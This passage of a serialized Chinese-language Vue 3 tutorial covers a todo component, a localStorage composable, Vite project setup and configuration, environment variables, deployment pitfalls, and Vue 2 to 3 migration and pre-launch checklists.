\u003Clabel>\u003Cinput type=\"checkbox\" :checked=\"props.todo.done\" @change=\"emit('toggle')\">\u003Cspan>{{ props.todo.text }}\u003C\u002Fspan>\u003C\u002Flabel>\n      \u003Cbutton type=\"button\" @click=\"editing = true\">编辑\u003C\u002Fbutton>\n      \u003Cbutton type=\"button\" @click=\"emit('remove')\">删除\u003C\u002Fbutton>\n    \u003C\u002Ftemplate>\n    \u003Ctemplate v-else>\n      \u003Cinput v-model=\"text\" @keyup.enter=\"save\" @keyup.esc=\"editing = false\" autofocus>\n      \u003Cbutton type=\"button\" @click=\"save\">保存\u003C\u002Fbutton>\n    \u003C\u002Ftemplate>\n  \u003C\u002Fli>\n\u003C\u002Ftemplate> 父组件把「怎么改数据」收口成三个动作： \u003Cscript setup>\nimport TodoItem from '.\u002Fcomponents\u002FTodoItem.vue'\nfunction toggle(id) { const t = storage.value.find(x => x.id === id); t.done = !t.done }\nfunction remove(id) { storage.value = storage.value.filter(x => x.id !== id) }\nfunction rename(id, text) { const t = storage.value.find(x => x.id === id); t.text = text }\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cul>\n    \u003CTodoItem\n      v-for=\"t in visible\" :key=\"t.id\" :todo=\"t\"\n      @toggle=\"toggle(t.id)\" @remove=\"remove(t.id)\" @rename=\"(text) => rename(t.id, text)\"\n    \u002F>\n  \u003C\u002Ful>\n\u003C\u002Ftemplate> 注意 :key=\"t.id\" 让「编辑中的那一行」在筛选切换时不会被别的行复用（第十一章）。",{"id":19878,"title":17213,"titles":19879,"content":19880,"level":176},"\u002Ftutorials\u002Fvue3#第四步把可复用逻辑抽成组合式函数",[5,15643],"持久化 + 初始化那三行，下一个项目还要再写一遍 → 抽走（第十三章的形状）： \u002F\u002F composables\u002FusePersistentList.js\nimport { ref, watch } from 'vue'\n\n\u002F**\n * 一个自动落盘 localStorage 的列表。\n * @param {string} key 存储键名\n * @param {Array} [initial=[]] 读不到数据时的初始值\n * @returns {import('vue').Ref\u003CArray>} 响应式数组\n *\u002F\nexport function usePersistentList(key, initial = []) {\n  let start = initial\n  try {\n    const raw = JSON.parse(localStorage.getItem(key))\n    if (Array.isArray(raw)) start = raw\n  } catch { \u002F* 脏数据：安静回落到初始值 *\u002F }\n  const list = ref(start)\n  watch(list, (v) => {\n    try { localStorage.setItem(key, JSON.stringify(v)) } catch (e) { console.warn('写入失败', e) }\n  }, { deep: true })\n  return list\n} 组件里就剩一行：const storage = usePersistentList('vue3-todo')。",{"id":19882,"title":17480,"titles":19883,"content":19884,"level":176},"\u002Ftutorials\u002Fvue3#这一路做出来的检查点",[5,15643],"检查项 对应章节 列表有稳定 :key，切换筛选不串行 第十一章 数据源只有一份，统计\u002F筛选是 computed 第五章 子组件不改 props，改动通过 emit 交回父级 第九章 表单用 @submit.prevent，辅助按钮写 type=\"button\" 第六章 空输入、空白字符、重复项在服务端和客户端都挡 第二章、第六章 卸载时清理定时器\u002F监听 第十二章 localStorage 读写包 try\u002Fcatch（隐私模式会抛异常） 第十三章 每个输入框有 label 或 aria-label，按钮有可见焦点 第七章 示例 17 的数据落在 localStorage 的 vue3-todo 键上。注意：站点里的预览是沙箱 iframe（不给 allow-same-origin），存储被浏览器隔离，所以要看「刷新还在」的效果请点示例右上角的「在新标签页打开」；在沙箱里它会自动降级成内存存储并在迷你控制台说明一句——这本身也是一条真实世界的经验：永远不要假设 localStorage 可用（无痕模式、iframe、隐私扩展都会禁用它）。",{"id":19886,"title":17611,"titles":19887,"content":19888,"level":169},"\u002Ftutorials\u002Fvue3#十八工程化把这些语法装进一个可维护的项目",[5],"前面各章的示例都是「一个 \u003Cscript> 标签」跑起来的。真实项目要的是：能拆文件、能装依赖、能构建、能部署。这一章把 Vite + 单文件组件这一层补齐，也是从「会写 Vue」跨到「能用 Vue 做项目」的那一步。",{"id":19890,"title":17625,"titles":19891,"content":19892,"level":176},"\u002Ftutorials\u002Fvue3#建项目两条路",[5,17611],"# ① 官方脚手架（交互式，能选 Router \u002F Pinia \u002F TS \u002F ESLint \u002F Vitest）\nnpm create vue@latest my-app\ncd my-app && npm install && npm run dev\n\n# ② 裸 Vite + Vue 插件（想要极简时）\nnpm create vite@latest my-app -- --template vue npm create vue@latest 生成的骨架里，src\u002Fmain.js 负责 createApp(App).use(router).use(createPinia()).mount('#app')，src\u002FApp.vue 是根组件——这就是你在示例里写的 createApp(...).mount('#app')，只是被搬进了文件。 目录约定（Vite + Vue 社区常见形状）： my-app\u002F\n├── index.html            Vite 的入口 HTML（里面有 \u003Cdiv id=\"app\">）\n├── vite.config.js        构建配置（插件、别名、base、代理）\n├── public\u002F               原样拷贝进产物，不参与打包\n└── src\u002F\n    ├── main.js           应用入口\n    ├── App.vue           根组件\n    ├── assets\u002F           需要被打包的资源（图片、字体、CSS）\n    ├── components\u002F       可复用组件\n    ├── views\u002F            路由页面级组件\n    ├── composables\u002F      useXxx 组合式函数（第十三章）\n    ├── stores\u002F           Pinia（第十五章）\n    ├── router\u002F           Vue Router（第十六章）\n    └── utils\u002F            纯函数工具 Nuxt 项目结构不一样（app\u002Fpages、server\u002Fapi、自动导入），那是姊妹篇《Nuxt 教程》的内容——语法同源，工程外壳不同。",{"id":19894,"title":17751,"titles":19895,"content":19896,"level":176},"\u002Ftutorials\u002Fvue3#单文件组件的三块",[5,17611],"\u003Cscript setup>\n\u002F* 逻辑：组合式 API 写在这里，顶层声明的东西模板直接可用 *\u002F\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003C!-- 结构：只允许一个根节点吗？不必，Vue 3 支持多根（fragment），但要注意 attrs 继承（第七章） -->\n\u003C\u002Ftemplate>\n\n\u003Cstyle scoped>\n\u002F* 样式：scoped 给这个组件的类名加哈希，不会污染全局 *\u002F\n.box { border: 1px solid #ddd; }\n:deep(.el-input__inner) { background: transparent; }   \u002F* 穿透到子组件\u002F第三方组件内部 *\u002F\n\u003C\u002Fstyle> scoped 不是 CSS Modules，它只是加了属性选择器；第三方组件内部的样式还得靠 :deep()（这是「我的样式怎么不生效」的高频答案）。",{"id":19898,"title":17896,"titles":19899,"content":19900,"level":176},"\u002Ftutorials\u002Fvue3#别名代理与构建配置",[5,17611],"\u002F\u002F vite.config.js\nimport { fileURLToPath, URL } from 'node:url'\nimport { defineConfig } from 'vite'\nimport vue from '@vitejs\u002Fplugin-vue'\n\nexport default defineConfig({\n  plugins: [vue()],\n  resolve: {\n    alias: { '@': fileURLToPath(new URL('.\u002Fsrc', import.meta.url)) }   \u002F\u002F import '@\u002Fstores\u002Fuser'\n  },\n  server: {\n    proxy: { '\u002Fapi': { target: 'http:\u002F\u002Flocalhost:8080', changeOrigin: true } }  \u002F\u002F 开发期跨域\n  },\n  base: '\u002Fshop\u002F'    \u002F\u002F 部署在子路径时必须设置，否则资源 404\n}) base 这一行是「本地正常、上线白屏」的第一嫌疑人。站点挂在 https:\u002F\u002Fsite.com\u002Fshop\u002F 下却没配 base: '\u002Fshop\u002F'，产物里的 \u003Cscript src=\"\u002Fassets\u002Findex-xxx.js\"> 就会指到根路径去要文件（示例 08 的部署检查器就是为这个坑做的）。同时用 history 路由的话，createWebHistory('\u002Fshop\u002F') 的 base 要和它保持一致。",{"id":19902,"title":19428,"titles":19903,"content":19904,"level":176},"\u002Ftutorials\u002Fvue3#环境变量只有-vite_-开头的才会进前端",[5,17611],"# .env.development\nVITE_API_BASE=http:\u002F\u002Flocalhost:8080\u002Fapi\nVITE_APP_TITLE=本地调试 const base = import.meta.env.VITE_API_BASE\nconsole.log(import.meta.env.MODE, import.meta.env.DEV, import.meta.env.PROD) .env 里的值会被编译进产物——任何人 Ctrl+U 查看源码就能拿到。后端密钥、数据库连接串绝对不能放这里；要放就放到服务端（Nuxt 的 server\u002Fapi + runtimeConfig 是标准做法）。",{"id":19906,"title":18221,"titles":19907,"content":19908,"level":176},"\u002Ftutorials\u002Fvue3#typescript值不值",[5,17611],"值，但建议第二步再上。Vue 3 对 TS 的支持很好（defineProps\u003C{}>() 泛型写法、模板类型检查），代价是学习曲线叠加。折中路线：先写 JS + JSDoc 注释（本项目的 composable 就是这么写的），需要时再把关键模块换成 .ts。 npm i -D typescript vue-tsc\nnpx vue-tsc --noEmit      # 类型检查（vue-tsc 才认得 .vue 文件）",{"id":19910,"title":18269,"titles":19911,"content":19912,"level":176},"\u002Ftutorials\u002Fvue3#部署与调试",[5,17611],"npm run build       # 产物在 dist\u002F\nnpm run preview     # 本地按生产方式跑一遍，上线前必做 npm run dev 正常但 build 后白屏：99% 是 base 或 history fallback 的问题（上一节）。 上线后没有警告：生产构建剥掉了 props 校验、路由警告。上线前一定 npm run build && npm run preview 走一遍。 Vue Devtools：浏览器扩展，能看到组件树、响应式数据、Pinia、路由器。装好后组件里会多一个「检查」按钮。 打包体积：rollup-plugin-visualizer 看谁占大头；路由级懒加载（第十六章）通常是最有效的一刀。",{"id":19914,"title":18345,"titles":19915,"content":19916,"level":176},"\u002Ftutorials\u002Fvue3#vue-2-vue-3-迁移对照读老代码用",[5,17611],"主题 Vue 2 Vue 3 创建实例 new Vue({ render }) createApp(App).mount('#el') 全局注册 Vue.component app.component（作用域只在某个 app） 组件根节点 必须单根 允许多根（fragment） v-model 自定义 model: { prop, event } modelValue + update:modelValue，或 v-model:xxx 事件总线 $on\u002F$off\u002F$once 已移除，用 mitt 或 store 过滤器 {{ x | f }} 已移除，用 computed\u002F方法 生命周期 beforeDestroy \u002F destroyed beforeUnmount \u002F unmounted 逻辑复用 mixins 组合式函数 useXxx 响应式限制 新增属性要 Vue.set Proxy，直接赋值即可 指令钩子名 bind \u002F inserted \u002F componentUpdated created \u002F mounted \u002F updated \u002F beforeUnmount \u002F unmounted 插槽 slot=\"x\" \u002F slot-scope \u003Ctemplate #x=\"{ data }\"> 事件修饰符 .native、.sync 都已移除（.sync → v-model:xxx） key 位置 \u003Ctemplate v-for> 不支持 key \u003Ctemplate v-for :key> 合法 CSS 作用域 \u002Fdeep\u002F、>>> :deep()",{"id":19918,"title":816,"titles":19919,"content":19920,"level":176},"\u002Ftutorials\u002Fvue3#️-本章的坑-16",[5,17611],"1. 大小写敏感只在 Linux 上出现。 import TodoItem from '.\u002Fcomponents\u002Ftodointerface.vue' 在 Windows\u002FmacOS 能跑，CI（Linux）直接构建失败。文件路径一律与真实文件名逐字符一致。 2. 忘了装 @vitejs\u002Fplugin-vue。 .vue 文件被当普通文本，报错内容通常是 Unexpected token '\u003C'。模板里选了 vue 却没装插件（或自己接 Vite 时漏配）都会这样。 3. base 与路由 history base 不一致。 一个 \u002Fshop\u002F、一个 \u002F，表现是「资源能加载但路由一跳就跑出子目录」，或者反过来。两处一起改。 4. 环境变量没加 VITE_ 前缀。 API_BASE=xxx 在前端读出来是 undefined（Vite 有意不暴露），别怀疑是 Vue 的锅。 5. 把 .env 提交进仓库。 里面有生产接口地址、埋点 key 都会被打包出去。.env 进 .gitignore，.env.example 出模板。 6. scoped 里改第三方组件样式没生效。 用 :deep(.xxx)，或者干脆给组件传 class 让库自己处理。 7. dev 环境跨域正常，生产 404。 开发期靠 server.proxy 骗过了同源限制，线上必须由 nginx\u002F网关反代同一 \u002Fapi 前缀。上线前用 npm run preview + 真实反代验证。 8. 一次改完就 git commit 没跑 build。 类型错误、模板语法错误只在构建期暴露，别把「dev 能跑」当成「能上线」。",{"id":19922,"title":18720,"titles":19923,"content":19924,"level":176},"\u002Ftutorials\u002Fvue3#附新项目起手清单",[5,17611],"项目 建议 创建 npm create vue@latest，Router \u002F Pinia 按需勾选 目录 views\u002F 页面、components\u002F 复用件、composables\u002F 逻辑、stores\u002F 全局状态 别名 @ → src（脚手架已配） 请求 axios\u002Ffetch 封装一层，baseURL 从 import.meta.env 读 校验 ESLint + Prettier（脚手架选上），提交前 --fix 类型 先 js + JSDoc，重要模块逐步换 ts 部署 子路径记得 base；history 路由记得 try_files 上线前 npm run build && npm run preview 全点一遍 + Devtools 看警告",{"id":19926,"title":18846,"titles":19927,"content":18849,"level":169},"\u002Ftutorials\u002Fvue3#十九收尾vue-3-的坑汇总与下一步",[5],{"id":19929,"title":18852,"titles":19930,"content":19931,"level":176},"\u002Ftutorials\u002Fvue3#按症状找原因",[5,18846],"症状 最可能的原因 详见 页面空白、控制台报 Failed to mount app 挂载目标不存在 \u002F 脚本比容器先执行 一 组件明明 import 了却 Unknown custom element 路径大小写不对、忘 .vue 后缀、in-DOM 标签名大小写 二、八、十八 {{ count }} 显示成字面量 没挂载 \u002F 挂错元素 \u002F in-DOM 模板被 v-pre 跳过 一、二 数据变了界面不动 解构了 reactive\u002Fstore、忘了 .value、provide 传了原始值、index 当 key 后组件被复用 四、十一、十三、十五 改 props 出现红色警告 违反单向数据流：改成 emit 或本地副本 九 checkbox \u002F 输入框状态串行 :key 用了 index 或缺失 十一 点一次触发两次 组件未声明 emits，事件透传到根 DOM 九 表单一点就整页刷新 辅助按钮没写 type=\"button\" 或 submit 没 .prevent 六 动画没效果 Transition 类名缺 -enter-from \u002F -leave-to，或多根组件 七、十四 tab 切回来数据不刷新 KeepAlive 下 onMounted 只跑一次，逻辑要放 onActivated 十四 切换路由后还在轮询 忘记 onUnmounted 清理定时器\u002F监听 十二 刷新子页面 404 history 模式缺 try_files fallback，或 base 不一致 十六、十八 上线后没警告、线下才发现错 生产构建剥掉校验；用开发版 + preview 走一遍 十八 dev 好好的，build 后资源 404 子路径部署忘配 base（与 Nuxt 的 app.baseURL 同一类坑） 十八 环境变量读到 undefined 缺 VITE_ 前缀 十八",{"id":19933,"title":19099,"titles":19934,"content":19935,"level":176},"\u002Ftutorials\u002Fvue3#上线前核对清单",[5,18846],"类别 检查项 模板 所有 v-for 有稳定 :key；v-html 只用于可信内容；模板表达式都是「表达式」 响应式 没有 reactive\u002Fprops\u002Fstore 的直接解构；ref 读写都带 .value；大列表用 shallowRef 组件 props\u002Femits 有类型声明；不直接改 props；多根组件处理了 attrs；暴露面用 defineExpose 收窄 生命周期 每个 addEventListener \u002F setInterval \u002F watch（手动创建）都能在卸载钩子里找到对应清理 状态 进入 Pinia 的只有跨页面数据；持久化字段最小且带兜底；无循环引用 路由 meta 权限字段与守卫配套；异步守卫有失败分支；404 兜底在最后；base 与构建 base 一致 构建部署 npm run build && npm run preview 全部路由点过；base、try_files、CDN 路径核对；.env 未入库且无密钥 可访问性 表单有 label；纯图标按钮有 aria-label；焦点可见；role 用词准确",{"id":19937,"title":19229,"titles":19938,"content":19939,"level":176},"\u002Ftutorials\u002Fvue3#下一步往哪走",[5,18846],"按性价比排序： Nuxt（本站姊妹篇《Nuxt 教程》）：把这门课的语法搬进「有服务端、有 SEO、能直出首屏」的工程外壳。你在这里学的响应式、组件、Pinia、路由，Nuxt 全都自动导入，重点变成「数据什么时候在服务端取、什么时候在客户端取」。 TypeScript + vue-tsc：把 props、store、API 返回类型钉死，重构时不再靠胆量。 测试：Vitest + Vue Test Utils 测组件行为，Playwright\u002FCypress 测关键流程（登录、下单）。 生态里绕不开的几件：UI 库（Element Plus \u002F Naive UI \u002F shadcn-vue）、数据请求（TanStack Query 或 Nuxt 的 useFetch）、表格与图表（vxe-table、ECharts）、表单校验（VeeValidate \u002F zod）。 原理补两页：官方文档的「深入响应式系统」和「编译优化（静态提升、patch flags）」——不必通读，但看懂这两节能解释「为什么要用 computed」「为什么 key 重要」。 Vue 的核心其实一直只有那句话：把界面写成数据的函数，剩下的交给框架。 语法、组件、路由、store 都是为了让你把这句话执行得整齐一些。愿你下次「数据变了界面不动」时，三秒内就想到是解构还是 key 的锅。 html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}html pre.shiki code .s6RL2, html code.shiki .s6RL2{--shiki-default:#FDAEB7;--shiki-default-font-style:italic}",1793263560600]